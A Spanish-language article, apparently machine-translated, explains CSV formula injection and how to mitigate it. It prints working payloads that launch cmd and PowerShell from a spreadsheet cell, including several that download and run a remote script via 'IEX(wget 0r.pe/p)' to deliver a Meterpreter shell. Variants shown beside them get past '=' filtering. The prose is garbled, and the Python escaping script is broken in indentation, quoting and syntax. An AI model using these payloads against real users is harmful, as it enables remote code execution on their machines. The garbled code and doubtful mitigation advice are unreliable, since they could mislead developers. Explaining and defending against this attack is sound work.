¿Cómo mitigar un ataque de inyección CSV?

Share this…

Los expertos de seguridad web mencionan que un atacante puede explotar esta funcionalidad mediante la inserción de caracteres arbitrarios en formas que sean exportables (sea esto a través de un análisis, contactos u otras funcionalidades). Permitiendo en consecuencia, a dicho atacante pueda formular una carga útil de ataque que se ejecuta cuando dicho archivo CSV se descarga y podría romper seguridad perimetral.

El escenario de este ataque se dirige  puramente al usuario (s) que descarga el archivo CSV, naturalmente, este ataque de seguridad web se suele descartar como un problema sin embargo sitios web todavía deben estar al tanto de la información que están exportando porque puede ser potencialmente perjudicial para seguridad perimetral de los usuarios.

El playload más común visto es similar a la que se muestra a continuación:

=cmd|’ /C calc’!A0

Esta cadena en su núcleo, le está diciendo esencialmente al programa que está abierto con el programa que le gustaría ejecutar cmd.exe con las siguientes banderas /C calc que a su vez pondrán en marcha calc.exe desde la línea de comandos.

Para formular un payload meterpreter en la víctima, hemos adaptado una cadena de payload para que sea más corto y más fácil de inyectar, como resultado, el siguiente payload se puede utilizar

=cmd|'/C powershell IEX(wget 0r.pe/p)'!A0

Donde en este caso url cortado 0r.pe es utilizado para entregar el payload para no ser detectado por seguridad perimetral(Invoke-Shellcode) que es una función de Powersploit para permitir la entrega de meterpreteshells. Para acortar el payload aún más la siguiente cadena también se puede utilizar, que corta la necesidad de la cadena de cmd.

 

=powershell|'IEX(wget 0r.pe/p)'!A0

 

Esto directamente lanzará PowerShell desde la célula afectada en editor de hojas de cálculo de su elección. Estos payloads están todos muy bien y bien sin embargo, la  mayoría de las veces que no he estado viendo el = carácter está siendo filtrado hacia fuera menciona experto de seguridad web de iicybersecurity IICS.

Sin embargo, utilizando el conocimiento personal Microsoft Excel y seguridad web, también es posible intact el payload usando otras combinaciones de caracteres tales como @, + o – en una variedad de diferentes combinaciones.

@SUM(1+1)*cmd|’ /C calc’!A0

O para cuantificar el peligro:

@SUM(1+1)*cmd|' powershell IEX(wget 0r.pe/p)'!A0

 

Una vez dicho todo esto y hablado de los diversos payloads hay pasos de mitigación que se pueden tomar para eliminar más o menos la amenaza de secuencias de comandos PowerShell que infestan el sistema de un usuario con shells acuerdo a los expertos de seguridad web de International Institute of Cyber Security.

Pasos para la mitigación

Las medidas recomendadas para remediar este problema de seguridad web se han descrito anteriormente sería asegurar que las formulario que se pueden exportar si contengan únicamente caracteres alfanuméricos y no puedan ser modificados para añadir caracteres arbitrarios.

También se debe considerar que todas las entradas de los usuarios no pueden  ser de confianza y como resultado cualquier salida debe ser codificada. La salida de esta funcionalidad se debe asumir como texto y no fórmulas. Lo que podrían adoptarse medidas para designar fácilmente como tal al colocar las cotizaciones en todo el texto o la aplicación de características de escape como se describe y se demuestra a continuación según curso de seguridad perimetral.

El problema con los vectores de inyección CSV discutidos arriba no tiene en realidad que ver con el carácter @, o =, +, -. El problema radica en el carácter pipe (|), el cual Excel y otras aplicaciones interpretan para ejecutar comandos {arbitrarios} y windows lanza binarios. De la lectura de los ataques de seguridad web y la investigación de las posibles técnicas de mitigación con ayuda de expertos de seguridad perimetral que la mejor solución es escapar del carácter pipe en este escenario de ataque es poner un prefijo \ antes del pipe. Esto se debe a que  Excel y otros programas que buscan un ejecutable llamado  cmd.exe o powershell.exe sin embargo, cuando añadiendo un \ dentro de la trayectoria evitará el lanzamiento de exe.

 

Además también hemos escrito un script en Python para escapar de archivos CSV que se pueden ver a continuación, es una prueba rápida del concepto sin embargo se puede adaptar fácilmente:

def escape(payload):   

           if payload[0] in (‘@’,’+’,’-‘, ‘=’, ‘|’):           

                payload = payload.replace(“|”, “\|”)            

               payload = “‘” + payload + “‘”    

            return payload 

# An example of payload string payload

= “@cmd|’ /C calc’!A0”

print “The Unescaped version is: ” + payload

print “When passed though escape function the value is: ” +

escape(payload)

 

En el código anterior se puede observar que si una cadena de payload contiene cualquiera de los caracteres en la lista negra se han evitado el ataque, esto se demuestra en la salida del script:

root@zsec:# python escape_csv.py

El version Unescaped es:

“@cmd|’ /C calc’!A0”

When passed though escape function the value is: ‘@cmd\|’ /C calc’!A0′

 

Note que desde la salida se puede ver que la versión escapada tiene un conjunto de’ alrededor de la cadena de usuario y el carácter pipe también se ha escapado. Cabe señalar que los problemas descritos anteriormente son sólo un tipo de ataque de inyección CSV, esta mitigación no cubre los ataques sobre seguridad web que se pueden llevar a cabo utilizando la misma técnica pero con diferentes payloads.